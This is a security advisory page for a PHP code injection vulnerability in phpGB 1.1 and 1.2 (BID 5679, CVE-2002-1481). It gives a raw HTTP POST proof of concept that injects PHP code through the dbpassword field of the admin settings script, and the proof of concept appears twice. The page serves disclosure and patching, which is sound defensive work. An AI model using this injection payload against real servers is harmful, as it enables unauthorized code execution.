phpGB PHP Code Injection Vulnerability
BID:5679
Info
phpGB PHP Code Injection Vulnerability
| Bugtraq ID: | 5679 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-1481 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 09 2002 12:00AM |
| Updated: | Jul 11 2009 05:06PM |
| Credit: | Discovery credited to ppp-design. |
| Vulnerable: |
phpGB phpGB 1.2 phpGB phpGB 1.1 |
| Not Vulnerable: |
phpGB phpGB 1.4 phpGB phpGB 1.3 |
Exploit / POC
phpGB PHP Code Injection Vulnerability
The following proof of concept was supplied by ppp-design:
telnet example.com 80\n
POST /phpGB/admin/savesettings.php HTTP/1.0\n
Content-Type: application/x-www-form-urlencoded\n
Content-Length: 123\n
dbpassword=%22%3Bphpinfo%28%29%3B%24a%3D%22&toolbar=1
&messenger=1&smileys=1&title=1&db_session_handler=0
&all_in_one=0&test=\n
\n
The following proof of concept was supplied by ppp-design:
telnet example.com 80\n
POST /phpGB/admin/savesettings.php HTTP/1.0\n
Content-Type: application/x-www-form-urlencoded\n
Content-Length: 123\n
dbpassword=%22%3Bphpinfo%28%29%3B%24a%3D%22&toolbar=1
&messenger=1&smileys=1&title=1&db_session_handler=0
&all_in_one=0&test=\n
\n
Solution / Fix
phpGB PHP Code Injection Vulnerability
Solution:
Upgrade to phpGB 1.3.0 or greater.
Solution:
Upgrade to phpGB 1.3.0 or greater.
References
phpGB PHP Code Injection Vulnerability
References:
References: